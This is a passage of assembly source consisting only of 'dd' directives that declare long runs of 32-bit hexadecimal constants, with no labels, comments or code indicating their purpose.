		dd 443C1853h, 89201F1Bh, 0FE86C058h, 1AAD388Eh,	23FC7006h
		dd 0AB600808h, 8EF74921h, 859C0014h, 0CC83DF8Ch, 8600FFE0h
		dd 1F39505Ch, 630F5361h, 0EDA6319Fh, 46BDA9C0h,	132311C0h
		dd 6CC6D55h, 0C4A2DC37h, 3960080Fh, 551B0A21h, 7F420089h
		dd 0A39A9DB8h, 353007F5h, 0B2E45865h, 39E7364Bh, 1E46C0C8h
		dd 0AE8EFD01h, 0C6FF81Ah, 0F56488A7h, 0B5EC89B8h, 0C3667703h
		dd 98EB6A26h, 0A0906EAh, 0F8A0B8CDh, 972A0198h,	406F66BFh
		dd 23E062D0h, 7DE8AC61h, 95F96EE6h, 6111C0h, 254EE796h
		dd 2BA78CEBh, 80C0A53Ch, 0CE8A5DBBh, 0E4D15811h, 0AA31000Ah
		dd 14928816h, 0E40054C3h, 0FD12CF4Fh, 3C07B627h, 0F80AEB7h
		dd 453A211h, 0A70015EEh, 2E168F7Bh, 422270h, 0DDEB31D9h
		dd 0AF42A23h, 5F627E8h,	30C2A900h, 397DBDB9h, 0F8C9003Ch
		dd 0AB700AD7h, 6F03EFF6h, 0ED0CDF2h, 0EB6DB038h, 75D20ED6h
		dd 0E38CD713h, 7003321h, 0C2515738h, 7155DAh, 0D9E4FE8Ch
		dd 887CF2F9h, 0F0287260h, 7D13AA4Fh, 0B2BE1E1Dh, 8B658F4h
		dd 20C0F34Ch, 8713E230h, 0B10107AFh, 60627302h,	297978D5h
		dd 9593900h, 31D4B3D1h,	547D00B8h, 6FF0648Fh, 4DFA08F9h
		dd 410D0A44h, 6F598FCEh, 781F03A0h, 0D21100F7h,	7A0AAF6Bh
		dd 530ED46Ah, 8CD39272h, 0B721EEh, 0DB95AF83h, 0CC783E9Bh
		dd 5E9E2101h, 0B8F41070h
		dd 0B07B86ECh, 68BF626Ah, 0F200C21Ah, 1ED1781h,	7CB9A33Fh
		dd 0FC784F53h, 4900FAF4h, 999D8434h, 0F0CEEDC4h, 0E5D21385h
		dd 0AD2200D9h, 5BF568E3h, 6C6EF03Ch, 13A1016h, 48467AB0h
		dd 0C41357BBh, 7B0093C6h, 89315EA0h, 1750F8Fh, 0DBB1880Ah
		dd 140B2387h, 1A8F0430h, 0AD10C07Ch, 9862D53Fh,	2BF26B00h
		dd 60074BAEh, 0F18000B2h, 0CC4CA744h, 0EE00F853h, 0A6F983D5h
		dd 0B0D0AEFFh, 0E6F625h, 0C1BD2EB7h, 671182DEh,	0F526ED00h
		dd 71B96B2Ch, 73172F8Fh, 6D006C58h, 0AE3A21E5h,	7029058h
		dd 0EA8AD406h, 0C9DFE061h, 0AB000F4Ah, 0E8FC5210h, 768FF6h
		dd 384DBD2Ah, 5C922486h, 951EBA00h, 63E6DE19h, 0EC2300B9h
		dd 5F5D94Eh, 0DA00C454h, 8BE93FC0h, 3BBE5681h, 30803B1Eh
		dd 0A7D622D7h, 5000FC4Fh, 4CB42BD9h, 4D20D0h, 991159Fh
		dd 0E0CEBC64h, 50F1D700h, 0F003A233h, 2CCC0342h, 4F9DA426h
		dd 4138AD90h, 0C4B85060h, 0C57EA0h, 2266434Dh, 4AA26D8Ch
		dd 0DF009571h, 0DBCDD7C7h, 0CBB970h, 9B0FA6F1h,	0E125B13Bh
		dd 0E303A3F2h, 0BD94E809h, 0DBA0DFABh, 18E62F36h, 70DD74F2h
		dd 0C6000CEEh, 0BB21BE70h, 704C4BFFh, 823D00A4h, 0D7D935A6h
		dd 0C90E0C9Fh, 60F37713h, 0DA5B9326h, 0A6793DBCh, 1BF74960h
		dd 190F40D4h, 40129837h, 8921AC63h, 0CFDE00F3h,	4A61E9B6h
		dd 0AB78BE96h, 665D7A00h, 87E88911h, 0DDFE0FD2h, 958CC05Ch
		dd 6900FBA9h, 7BE3D71Ah, 0CF0C108h, 0DE4CBA6Dh,	2718CB70h
		dd 5659BB03h, 98D013DAh, 2BA000FBh, 0A03E5433h,	154B6500h
		dd 89B2A94h, 2E5092A5h,	0AB2CCh, 977CAB76h, 3600DA8Dh
		dd 0E7F5B015h, 227E0Fh,	98C1BF2Eh, 1361EB0Ah, 309B38h
		dd 0C7CAE481h, 0D1CDFCh, 57B63891h, 1D95C219h, 92E77F00h
		dd 7D0CB5CEh, 38DC985Dh, 40321C6h, 2D04230h, 8252F199h
		dd 0AEA66E70h, 9C44C4h,	0E60CC6DDh, 0E73BB327h,	0ED7EE113h
		dd 3A007316h, 0AC668037h, 3CEA09D3h, 52008B50h,	30BFF4DDh
		dd 25975B00h, 0E433B757h, 45A40167h, 49FE6598h,	7C5970A9h
		dd 1A018CB0h, 34B85383h, 11E8E4D6h, 4FA409D0h, 3800373Eh
		dd 0D57439B9h, 4D3A7E00h, 8554E0Fh, 0A4DB4923h,	75FA760Eh
		dd 9513AE03h, 5543CCC0h, 0B95F3A0Fh, 8D2D2031h,	0B06263h
		dd 275ECBF9h, 0A0873593h, 4700717Fh, 0D98932A1h, 0FE12D94h
		dd 836D6307h, 929BE260h, 0EA30604Fh, 84449271h,	47DB0012h
		dd 5F772D97h, 510A3EE4h, 0E4D469D2h, 47F3EB8Eh,	0EA5080DBh
		dd 335C6D6h, 12E61AB7h,	481CFB14h, 0D07FED4Ch, 0CB0070C8h
		dd 1CC638CEh, 79412F4h,	68B7BC6Ah, 0BF3FF0D5h, 0DDE0116Dh
		dd 0FA1F4318h, 1A4840h,	0ED0A965Ch, 2B58CC18h, 0A1BEE309h
		dd 6235037Eh, 40F0E232h, 8D9268h, 603CBB56h, 7C1FCC05h
		dd 0BC4D0E00h, 409B7563h, 0A1520064h, 9F5861F6h, 0D33DDE46h
		dd 0E02101F5h, 0F46E7FD4h, 69E9B440h, 4ABC0023h, 37AEFCEh
		dd 0C50027C9h, 9EB6AA41h, 7E34AEh, 6B23B2ECh, 0D6147CF3h
		dd 7A905350h, 98EA7644h, 9D9C14D3h, 201C80EBh, 40F7D24Bh
		dd 0B20F7578h, 2900BE32h, 0ED7C6F8Ah, 12BA9E4Bh, 1371A82Dh
		dd 4CA2003Fh, 9D4753Ch,	0EB349900h, 0F42B6D10h,	91E60094h
		dd 0DCE0BA0h, 820F3B55h, 8174F699h, 9739198Ah, 0B6E420h
		dd 7E7673CEh, 13E93EF4h, 1BB119C0h, 28146B8Eh, 48A0E419h
		dd 0B3006DA4h, 0EAF796D1h, 310E5813h, 5D10AE3Fh, 21EC3C9h
		dd 0C02AB505h, 24F17E10h, 12F8C942h, 21A42069h,	0AA0022C7h
		dd 0BE12C244h, 0CA6FFEh, 0E1AC0F30h, 599D03BBh,	5CC3FB0Fh
		dd 801E0919h, 0AAE296FCh, 0ABE70082h, 68298FFDh, 26005BAFh
		dd 0C69EF7A8h, 2972FF9h, 0C4BAF2C1h, 0A7848A15h, 1CBB8092h
		dd 7B011882h, 91CEF3DCh, 0E440C2A8h, 40AB23h, 385972AFh
		dd 606875F4h, 0F0C0C1ECh, 7F22B7CCh, 94A70E2Eh,	90A24443h
		dd 7060D35Ch, 0AB0057B2h, 9C78C36Eh, 3752313h, 0B6A6482Ch
		dd 0D0884771h, 6E004E5Eh, 0B30A88ECh, 0E4318C65h, 349100DAh
		dd 7EA8C6A2h, 81024157h, 2671C995h, 0D2A5E035h,	34D500DCh
		dd 9793AA2Eh, 0E100199Fh, 0F07F1C33h, 16EB22Fh,	36F7A46Bh
		dd 803465A3h, 6A3EAF19h, 10973AAh, 7ECA8061h, 80B6E81Ch
		dd 0D0C13121h, 0C27735h, 2F87616h, 7919A341h, 3126B607h
		dd 3460F47Dh, 1DC6190h,	20BC1099h, 30BAD6CBh, 7600F6A9h
		dd 0B21BF332h, 724A32Eh, 2CE35C50h, 3751F0CDh, 0C7004296h
		dd 60FDC932h, 34D9479h,	9CC4D3B0h, 78A8F531h, 0E000C003h
		dd 7A451861h, 3ED5BD30h, 8F016B3Bh, 0B5C4C77Dh,	1FAD6084h
		dd 0C982E800h, 1168DFEDh, 41550040h, 7FC7A3Eh, 0F116D4D6h
		dd 0A800512Fh, 6BBEE90h, 0AD0907C3h, 50F67943h,	0A7F2AAACh
		dd 0A68A2F00h, 0CD553D3Ch, 48900Eh, 3A1D60E8h, 34BB1E70h
		dd 8ED1A700h, 4390F7C6h, 0AE5A01ECh, 80A61905h,	0BCB3EF6Ch
		dd 1181701Dh, 0AFED1040h, 0C760937h, 120C405Ah,	24008D21h
		dd 67CD16Dh, 8EDDE9h, 99A0780Ah, 7A23CD17h, 6D307DB8h
		dd 77F7315Ch, 8DA100F6h, 9F2AC2FEh, 61503408h, 1D26CAACh
		dd 0B200DB96h, 2FC133ADh, 3B7FE48Eh, 40E05881h,	0DF325BD3h
		dd 22BE6D01h, 0FAFD30E5h, 9EB824h, 0EF0398CCh, 741651BBh
		dd 0F606D1Eh, 0A13DAE40h, 3ACDC1Ch, 73D9DA08h, 5D83B047h
		dd 4D9E60E8h, 989F7126h, 0EC9B0401h, 56E47077h,	0CBB0C018h
		dd 0E1EABBF2h, 0B62F2D00h, 0BA72B82h, 7D370F15h, 0D4C78FDDh
		dd 66EC90FAh, 0CF00A524h, 0B3CB23F0h, 301E7559h, 5C19DD69h
		dd 7D00F84Ah, 55278C15h, 7F2CEEh, 31E8D80Bh, 80E5AAB3h
		dd 15640C07h, 0B0B0764Ah, 267CF9Dh, 0F29014Bh, 5C60D726h
		dd 8D151983h, 80CDF8h, 6A4A0344h, 12812825h, 4345F6h, 0A6C45355h
		dd 180193CEh, 0CDBD24E3h, 44D4115Ch, 90EAh, 0B81E8BB1h
		dd 4667921Dh, 0C5173Ah,	0D18E208Fh, 0E586BBh, 70AC8114h
		dd 48F47B6Dh, 3C77AD00h, 9622BF63h, 61463D65h, 41E298Ch
		dd 7C009E10h, 0C2707FF5h, 4F323Bh, 0DC331A52h, 0F8E84CF0h
		dd 0C55FC60Eh, 1E910017h, 310C75h, 1483BF79h, 0EFA536E8h
		dd 0A7CA3F00h, 0BA516398h, 5F9B1C46h, 1896652h,	0B4B2C5D5h
		dd 33208F25h, 0C8E80010h, 90F27C14h, 0EAE8E7h, 327B0BDBh
		dd 0A67A4CA2h, 0F7317763h, 0A038E01Bh, 0C38600C2h, 9A3DC17Eh
		dd 89006B92h, 0C73A4749h, 48F64D1Bh, 0F2005027h, 0B3D0C430h
		dd 81002E43h, 9257CD10h, 2247F6h, 0A838E0A3h, 61656F25h
		dd 0D438600h, 40EF7F77h, 6ACC00C2h, 8F560850h, 2E00A0F5h
		dd 0C3EFADEh, 75F799h, 8608C84h, 0B5AF1342h, 0DA9B8801h
		dd 9EE7E88Dh, 5CAF30h, 7C0C8914h, 355196DDh, 8E0E8600h
		dd 564A19F8h, 0A5A0039h, 301AF979h, 85096622h, 687CBDBBh
		dd 1FE6875Ch, 65781EF4h, 0C3AB9085h, 0AFB8C7AEh, 0E7013C5Dh
		dd 217D1DEFh, 0DEF55799h, 7810C4h, 4149A331h, 6C0CE2EEh
		dd 81A42E3Fh, 9E3ED66h,	0C1DC3281h, 961A0217h, 6AA899Ah
		dd 0A28C84C8h, 7E90E3Fh, 7EF5659h, 1160264Fh, 0C41FF020h
		dd 4F32FF10h, 105D000Fh, 9774DFh, 25F5C233h, 53ECEDDAh
		dd 780ED5B0h, 5FC93B2Eh, 830021DEh, 4CC8FE3Dh, 941C0156h
		dd 47072E80h, 1D8C2479h, 0F0559330h, 2744C1h, 607049E4h
		dd 8C1F2F48h, 0ED0EB818h, 4CEF6388h, 6C2ADD68h,	48072890h
		dd 36FC0024h
		dd 0F59DBF4Ch, 3EB05CA2h, 883D100h, 0EDA332EAh,	0D8600AAh
		dd 6B81CD78h, 0F9003EC1h, 0C219E5B8h, 621A13h, 0F2C52187h
		dd 0F6C9A952h, 5C7DD372h, 80E3A53Fh, 0B525CD9Bh, 0C116CFh
		dd 0BEA6F6Eh, 0ED2A6B5Dh, 6D56A107h, 8590CA27h,	0FE7837DCh
		dd 4E1C0E22h, 0A28011E1h, 5E2FC009h, 0FAFBAB00h, 0BE7D526h
		dd 0DFD8F577h, 0D27009Eh, 0C3EC7203h, 60098529h, 0CA1AA019h
		dd 0B0041C9Ch, 8F8D01C9h, 0F24656C3h, 42F8F36Ah, 0C91DA205h
		dd 75C07F20h, 27BB5F7Eh, 33A3E2C8h, 0FE400E61h,	8E323A00h
		dd 0F882F30Dh, 0A7C00FFh, 0C31DDF74h, 0BB30B5F7h, 0D7882001h
		dd 355A296Bh, 0FB07E220h, 0B7C86331h, 5060F0D9h, 72B5C90h
		dd 961ED02Fh, 8E6C5128h, 4089838h, 1F26D121h, 0BE6BD0h
		dd 9E2258DCh, 2370BAD3h, 7AEDCB06h, 0E0D84685h,	8C330C6h
		dd 2B0B0E80h, 80A02348h, 5CB7C568h, 58D73FEFh, 8C70799h
		dd 2A21815Dh, 7025B7BDh, 9BECB20h, 90046372h, 8E64F981h
		dd 84298118h, 5435FFE7h, 256811B2h, 52E40A33h, 4434C7EFh
		dd 0BB48405Ah, 67DF1B7h, 7F9E477Eh, 8198B035h, 44526375h
		dd 1F201DE4h, 77733785h, 5255F040h, 6FDC6C5h, 0F6074C86h
		dd 6962084Eh, 695A3621h, 0B3319ED4h, 4B565887h,	2FD3B3FEh
		dd 0AA951026h, 6970C70Ch, 0F2360019h, 79665C7Dh, 0D61C3B58h
		dd 0D4A85B35h, 2D025A46h, 389620D0h, 8074F730h,	0D00024CBh
		dd 53CEED01h, 37FA4D67h, 8A586091h, 812A1194h, 0EF55B7C2h
		dd 105C31C6h, 5B7BA2Bh,	8D8A57BEh, 9EF00933h, 6E08013h
		dd 0E83CB03Fh, 0FD61006Eh, 21E44FFBh, 0FADA0067h, 76ED68A2h
		dd 89090A97h, 80078A31h, 3692466Ch, 88A9063Ch, 510F9CBBh
		dd 4C202A00h, 272CC22Dh, 9896679h, 4A072116h, 0F1C94C38h
		dd 0BC9251E0h, 30FE3C5Ch, 0C60B79Fh, 74E870D9h,	96550702h
		dd 448771D5h, 0C59100CCh, 0F6B9FBEBh, 0E918946Ah, 0C7306151h
		dd 5A8A1FDBh, 0A46000F1h, 6495BE74h, 0CE30BBF8h, 0F996186Dh
		dd 0B61C59Dh, 10A8A4F3h, 0A1DF15E0h, 91D4F414h,	745F88BCh
		dd 17026046h, 0CE822E6h, 5F00E0D1h, 0DAE7139Bh,	2387007Ah
		dd 334FCFD0h, 930F0D9Eh, 22A68E0Ah, 83787368h, 0F2E0A87Ch
		dd 0E8D98124h, 0AC52C7F3h, 501BE05Ah, 2D41006Ah, 5EBE3964h
		dd 49049D43h, 88C82CA9h, 32943488h, 28C852A7h, 12B7C430h
		dd 38BFEF57h, 0BC014520h, 0EB193FB7h, 94501E9Dh, 2E9B17A5h
		dd 0AC3995h, 52A481E3h,	5E00D342h, 0B90DF97Bh, 144170D4h
		dd 0C05D22F3h, 0FC32EE01h, 8D7D3EBAh, 0E17E7610h, 0B3A1CCh
		dd 0ACA9A8C4h, 0F3AFD4C5h, 0CD648A0Fh, 0DCF5E284h, 3FEC80EBh
		dd 984762DBh, 0F99203C8h, 795FFE42h, 480083CCh,	99F444E5h
		dd 0EBC1034Ch, 270AE4Ah, 81A954D9h, 1080E960h, 24CE2F3Dh
		dd 5989F4F5h, 30901248h, 8DBC9976h, 6FFD734Fh, 35C0F90Dh
		dd 0D39D7DC1h, 1042A4Ch, 8DFFA91Eh, 10810CABh, 6E849871h
		dd 831ACE5h, 4FB1D106h,	6820F170h, 8000FD28h, 4B247BDh
		dd 898AED0Dh, 0F2CF801Fh, 38586C1Ah, 0FD91C55Dh, 8F72887Eh
		dd 46E0653Bh, 9F95F0A6h, 19F59E00h, 0A8C7D96Fh,	784099D8h
		dd 867506h, 0F980AE74h,	0B5F851F4h, 84FA072Ah, 895D1075h
		dd 0ED740718h, 0DFD3BA5Ch, 1AC82A03h, 0A26840C0h, 0E1D33207h
		dd 0ACCA71B4h, 7E0054Eh, 90998CC0h, 897701F7h, 912B9D8Ah
		dd 8D043264h, 8583C5Dh,	0C848549Eh, 274F0080h, 0FDE85498h
		dd 0F948E276h, 0A68A0914h, 69648692h, 0B4CE00F9h, 0FED6C70Eh
		dd 0ED005B46h, 0A689E53Ch, 18AD19BAh, 0A1FB1063h, 0F313C575h
		dd 1C236892h, 6701A4A5h, 81634EDBh, 61247E18h, 39E0EEBAh
		dd 7D733338h, 0C7AF2941h, 0D7718011h, 0B7B08D52h, 7809C8A3h
		dd 97A8E561h, 8011919Ch, 93B9873Bh, 124DEEDBh, 411D999Ah
		dd 6900F18h, 651375h, 0C81ABC08h, 0C24C5B5h, 2107F130h
		dd 2A6A14BBh, 18FC941Eh, 6913F810h, 743EBE64h, 6CFEA49Fh
		dd 0C0270A16h, 5D2907C0h, 14C37C70h, 0F828579Dh, 0C19A8106h
		dd 600C881Eh, 1934DFBDh, 0D1BCB13Bh, 26AF186Ah,	40402191h
		dd 6BE3B093h, 71DA1200h, 5BD74A5Ah, 5EF831h, 23B379F4h
		dd 0A2EDD4F1h, 782344A3h, 0C556011Bh, 18A6FDC2h, 5E3A886Dh
		dd 0DE38C503h, 109AFCEAh, 12D3E0h, 6250E085h, 9164E6F3h
		dd 5EDD0808h, 0D6A9890Fh, 0F408DC53h, 0D033C064h, 8489622h
		dd 2ACDE0B4h, 2D841ED0h, 50AD400Dh, 2B4C53BCh, 762820C3h
		dd 0BAA11E67h, 4B084036h, 9DDE8B59h, 9400DBF8h,	60FC7D56h
		dd 985CAA68h, 22E7F034h, 0BD207B11h, 0D1289109h, 0F9186Eh
		dd 365C0487h, 0CB4EB8BBh, 8F74E10Ch, 4CC113h, 4267CA24h
		dd 2D666F63h, 5E00B00h,	99C45D48h, 2C7C0547h, 0C218F60Eh
		dd 1F30BE14h, 0C22E114Ch, 80178834h, 0B74C3749h, 0EB7F73F8h
		dd 0DA6F4A00h, 93A78BCEh, 74232A07h, 0C7E11CB4h, 0C32C071h
		dd 0CFBEEE2Eh, 0EDB3E412h, 1614C08h, 729D42Fh, 0B27DC16h
		dd 6FD11091h, 0C91F6418h, 0C4895B09h, 11D884D2h, 38FE80B0h
		dd 1848F3B5h, 80C8EF00h, 5E66EB61h, 55F99480h, 0FC42CC89h
		dd 4C2130B8h, 4C21411h,	53821288h, 5DE84C19h, 0CCAD4A84h
		dd 0F5007168h, 8A9F80A9h, 5DBB6208h, 96058002h,	2090433Bh
		dd 0EF0520D4h, 0AD4A4500h, 1602B4B0h, 92711809h, 8F64E17Ah
		dd 220371DEh, 0CB62BB8Ch, 0F1410011h, 9BF3EAB8h, 0A3795D86h
		dd 6ED05900h, 5213BBB3h, 6D032EECh, 8026112Ch, 0EF51B7C6h
		dd 5E448CCFh, 0B7BE0047h, 1CC4870Fh, 5C0148BCh,	82EF6B26h
		dd 0DC4540B1h, 4C00E084h, 53BBC527h, 1DED126Ch,	59B84874h
		dd 1FD02EC0h, 10404696h, 0CE0774F8h, 0C287D025h, 0E084688Fh
		dd 2308540Dh, 0C55C0519h, 0A22984C0h, 643CC010h, 0B05D65C5h
		dd 0FC4CF1E0h, 0D7B00CBCh, 96055E3h, 2DA838Bh, 0BE747C20h
		dd 0C4E95BC6h, 7DC0182Ch, 0DFEF21B7h, 0B7B829C0h, 3EEE7F46h
		dd 0E48BD4F5h, 540245A2h, 98802379h, 0E9D795FEh, 0F718D4B0h
		dd 12B16673h, 755C0036h, 6CDA4DB6h, 2318314Ch, 1D295CBh
		dd 0BEA00066h, 0FB21042Eh, 640024A9h, 9A333EEDh, 0F92D8AEFh
		dd 0BD746082h, 0E00EF7F3h, 104265A5h, 20FF1D64h, 22F657D9h
		dd 0A382BC94h, 0F4CB8583h, 1C72ECE0h, 18FD0498h, 304C081Dh
		dd 18C424C2h, 0C0354F45h, 530FB4D5h, 0F7E8A50Bh, 0A06C00EBh
		dd 9DFC155Eh, 7C823562h, 0E4520110h, 0AE30909h,	84086A63h
		dd 2260BDBCh, 0C223334Ch, 2311FCh, 0CE4C1A54h, 0A858AD2h
		dd 0D4395FDh, 0C53803F4h, 291A8963h, 9D09C00Ah,	75038848h
		dd 6D04206Eh, 0F2ED7CDCh, 14D703DFh, 27EC0BB5h,	0FF0B297Ch
		dd 909270F9h, 9F5C7A0h,	0C659A80h, 7FAD8C0h, 0FB615101h
		dd 0F2553ADAh, 517E8847h, 9408C407h, 0A071B0B4h, 0E312C7B2h
		dd 0CC806796h, 60AFB5F7h, 0DA88E01Dh, 0C3258F7Dh, 0B9C009Ah
		dd 5381209h, 0C0CAFFBCh, 3010A132h, 5B40D584h, 74E30AC5h
		dd 5B8F787h, 812057A7h,	8376BD48h, 0F8FC0A20h, 203CF524h
		dd 4084468Fh, 0E8C5FA8h, 961DD030h, 74E98491h, 0D027CC03h
		dd 65E098D0h, 0F6086901h, 0A7918A89h, 180E19CCh, 7067E1D2h
		dd 0D8A7C8C7h, 0B9600244h, 0C700ADA0h, 0F66146DAh, 919D6236h
		dd 2817007Ch, 903DCC59h, 2799FA60h, 6E568Ah, 71983C31h
		dd 0C9C6F9FEh, 0CD55502h, 0A0827683h, 524E3FECh, 14610044h
		dd 838D224h, 6F5CC940h
		dd 0CEE04124h, 0C5480864h, 6B007448h, 0F14D1247h, 2DF7A4h
		dd 904C9897h, 760B80B8h, 4120A898h, 1462FE13h, 0EC7A46EBh
		dd 0B0B48E06h, 0F3E45012h, 0B8E90C60h, 59C1588Ch, 0ED0380E4h
		dd 3BB201F5h, 79711380h, 419E58A0h, 9357F9C0h, 1C3CC9FCh
		dd 8001E533h, 15875C07h, 0D890D208h, 38DAE3Ch, 3281B0F5h
		dd 0C08EFBC1h, 1F7BBADh, 3EEF33Bh, 24C7957Eh, 733B05B4h
		dd 1ADB9278h, 63D0C480h, 43644F8Dh, 24F99AECh, 2B9ED818h
		dd 74C589h, 4A6A5602h, 1F815994h, 2A4DDC00h, 0A8EA36CBh
		dd 3D8A184Fh, 819F3943h, 0B7736000h, 0BA956EC8h, 79820017h
		dd 75CBC35Bh, 0DD00AEF8h, 0B00F03A8h, 7937285Ah, 25690363h
		dd 6E8B91B7h, 4F73DFA0h, 321CF905h, 9D032B08h, 0A3E3FBF0h
		dd 31210075h, 9AF71D11h, 278589Ch, 5EBFEB03h, 0D0E1B6DCh
		dd 3E5F2174h, 0BE1FF48Bh, 0DB96CCECh, 0E0182518h, 6F49A73Ah
		dd 0AE8803D7h, 4FAC421Ah, 884E6CFh, 0FC21CF60h,	0F8AE90h
		dd 2B4ACEBAh, 0AFF120B2h, 7126E007h, 73501BD3h,	0E8EB4608h
		dd 54BD0498h, 1BB24D9h,	742B3DB2h, 0B75118B0h, 0AC30D956h
		dd 766E20C1h, 284A4096h, 0DB88E11Ah, 80883718h,	0C56970E8h
		dd 15380259h, 0C7C81857h, 304E0650h, 16983E7h, 0C684D6A4h
		dd 29D48C10h, 0A0347701h, 67B4AE43h, 0DC94F4h, 70727B89h
		dd 0C10EE455h, 0CAE92A00h, 711841A0h, 5C5F003Fh, 3226BD54h
		dd 491FFD58h, 0F7478573h, 6EB078C2h, 1E52BD2h, 91B6DB4Ch
		dd 47A1AE5Fh, 0A6E4E0C7h, 0E1A03DC3h, 0FE009FB3h, 0C0BE07DFh
		dd 874A49h, 92156EDBh, 57DA66CDh, 0FC4EB900h, 0C9EA898h
		dd 7E6B0106h, 58CAF107h, 0BA36FC3Dh, 4346CD00h,	0C02618B0h
		dd 0F78C3DE1h, 8623F900h, 3CF54E3Ah, 1ED60400h,	268DFF9Fh
		dd 0D8D500A7h, 0B1AB4F94h, 341FE450h, 4900EB8Eh, 32DDEC35h
		dd 21B900D8h, 0C297AEDCh, 0E763B736h, 0EBDF08h,	21B1FA20h
		dd 0F6EA3FEEh, 74CD7000h, 25135B4Fh, 37C803F7h,	383516B9h
		dd 0A3125000h, 73A77F66h, 0AFE21907h, 801B08FBh, 66EAF321h
		dd 85EDB1h, 8F1FB02Dh, 7F5CE75Fh, 0A5BC2000h, 2959C1F4h
		dd 23A80E79h, 9AC03F14h, 5DEC37DCh, 62DB6E03h, 36383B77h
		dd 88593280h, 0A102B346h, 0A3A77D66h, 0D9101A31h, 3D0066E8h
		dd 7C5C4BCFh, 313B6D4h,	59412992h, 783B233Fh, 38AB8006h
		dd 0EB3B37BEh, 41336C5Dh, 0D742A30h, 0DC008D7Ch, 0EAFE12A3h
		dd 12BAD33h, 0DD6746F9h, 0D0980781h, 0ED00922Ah, 0AA76313Bh
		dd 1E3B437h, 5288B13Fh,	60E9C3ABh, 1700C76Eh, 9C2CEC4Eh
		dd 7828F8Ch, 0B04D16Ch,	15EA80FDh, 0F2006820h, 2E589F8Dh
		dd 0EC23068Eh, 21570109h, 55178B48h, 13CEF825h,	8AED3200h
		dd 0C34780BAh, 424D0056h, 71913F4Ch, 6A0069FCh,	1AF13553h
		dd 0CA9996h, 0CB4BB5CDh, 4E937FF4h, 4CE77A0Fh, 0E030DB6Fh
		dd 1A2ECDCh, 6DDAC276h,	0AC425206h, 45077B58h, 0F0C60EB9h
		dd 27100091h, 33F6D6F4h, 0D8D88A9Ch, 65DCA4h, 0E895342h
		dd 443E22EDh, 759F1B00h, 38496ADEh, 0B0471FC6h,	30088098h
		dd 0D952502h, 0E5035E74h, 1ED7707Bh, 1647809Ch,	3F20026h
		dd 0AFD92724h, 78EA5BA9h, 41317D00h, 0D6DB586h,	39500092h
		dd 0A2B46944h, 0D200B812h, 8AFB7A7Dh, 10B5E4Eh,	0FE6D7E9Bh
		dd 81644D89h, 1207910h,	0D160CF54h, 0C17FEEh, 0C2D83E38h
		dd 35231C0h, 125EBC00h,	0B79F515Bh, 1C0E0094h, 0AE72D8E3h
		dd 9E001120h, 0EB638DF8h, 816BE6h, 2D51C502h, 0F48E7CF6h
		dd 24B26200h, 9FB8FB70h, 97090799h, 60FD839Bh, 0D80BC9F7h
		dd 0F20085EEh, 0B3462CC0h, 432FABh, 307A50C2h, 7C4F598Dh
		dd 809CD700h, 0C15ADE6Eh, 2CCA00ABh, 62BA4E5Dh,	637C2252h
		dd 0B5101E0Fh, 740376BBh, 880E9C74h, 1C6A18D8h,	0A6E72908h
		dd 0E926071Ah, 0E480AF72h, 0F1421C22h, 0FC069900h, 0E2C9AC52h
		dd 0F6413EBCh, 97A0CCB0h, 0BB00D6E0h, 0F5840615h, 77A42F7h
		dd 43C40280h, 3BD1E0F8h, 6930F2E2h, 7FEBF064h, 0E7251E2Bh
		dd 76160009h, 2053BE3Eh, 35ECEDB8h, 60F00700h, 193BD94Eh
		dd 0F9A90054h, 98CA42E8h, 0E3005E5Ah, 0CF443D41h, 74070D3h
		dd 4BA0018Fh, 1DC080FDh, 1A1DACA3h, 7F8EBFA9h, 0DE39C7CAh
		dd 37867041h, 411E840h,	0FAE200F2h, 205AAD8Ah, 0D9E4101Bh
		dd 5780EB0Bh, 357000F1h, 11716BBh, 9D8E4325h, 0DCFA5450h
		dd 130F4865h, 0E02DCCE3h, 4EEB02E6h, 619C004Fh,	0E7F57867h
		dd 0F80E3C96h, 0C058057Ah, 0B7859AF4h, 4788008Bh, 0B5238390h
		dd 4C7972CFh, 10B28700h, 0D23F5D04h, 0DB1909CCh, 238792BBh
		dd 0CBF85094h, 870009C0h, 0FF80EE5Ch, 0FD29CAh,	0DA75119Bh
		dd 65360859h, 5473B900h, 9686E823h, 0A44A002Eh,	57CBC78Fh
		dd 0C2704B12h, 0D00E276h, 0E0435684h, 0A839AAFh, 63B25AC6h
		dd 983E01E8h, 0DD95960Ah, 0C6D844EEh, 0E933B420h, 0E07D10EBh
		dd 0F9B96EDh, 41A243BCh, 8ECE9AE0h, 290538F2h, 23789EF3h
		dd 4BA05C0h, 40F4D3h, 19609F03h, 1F2B9CB9h, 75EF320Bh
		dd 42B88366h, 0AB2CA877h, 231B005Ch, 5BB77291h,	55003DBCh
		dd 26C828A2h, 9B4080h, 0AA89AC76h, 1B231267h, 1E3D1500h
		dd 7B16BDD0h, 22F00A6h,	0CA1854AEh, 5700EB28h, 6DB778A2h
		dd 0EC57C03h, 0F0F26515h, 0C05C60A7h, 0B1F4ADC1h, 0E6366E00h
		dd 4CAC7225h, 0FDD30014h, 10902B3Eh, 4A00097Dh,	24942EFFh
		dd 3D62F6h, 2C0F9775h, 7B34E7F0h, 25CFE400h, 6C1F1B15h
		dd 80403CEh, 0BE7A4059h, 0ACA0E5F0h, 6DA1D00h, 954C0C2Fh
		dd 0F47856h, 0F596303Eh, 0DCFF3388h, 218D2801h,	0FBAEBE4h
		dd 0DAF03DEDh, 1817958h, 4DF8E5C5h, 0ECA878BBh,	1A00A507h
		dd 4642DC5Dh, 58318222h, 6A006851h, 0A0E41EA1h,	0C52E8A79h
		dd 0F00355Eh, 93C1A4BBh, 5F9D009Fh, 4CDBB621h, 0A27531FAh
		dd 33B7300h, 0D06E8565h, 7540E08Fh, 14750004h, 8D076FAAh
		dd 437660DDh, 52216800h, 55D4D5E1h, 0AEF8002Ah,	470D4541h
		dd 0C9006F8Ch, 0B2185BAAh, 6A27B5h, 75AD3936h, 0FB5C1B0Fh
		dd 4E329B00h, 9FC1A535h, 0F0A748D3h, 4AA10575h,	80A8E9D1h
		dd 60E2EECAh, 96950E01h, 0F56CA0Ch, 4C50D2F4h, 0E13ED36Ch
		dd 8BDFA401h, 0D2EACCF6h, 376B7840h, 7EACE700h,	15D84C5Ch
		dd 5BA200E1h, 0CA2C117Fh, 7700AA2Eh, 75DB1FACh,	0ECEF52C5h
		dd 0DE0D0076h, 0A9D1E19Ah, 4D0757C0h, 2773E57Fh, 0A562A7B0h
		dd 127B0747h, 0C0C3F015h, 5217C2DAh, 0E0DD0C00h, 0D3280924h
		dd 0FA5F7271h, 71E3EADh, 4B841100h, 413CD1C6h, 6803B4F0h
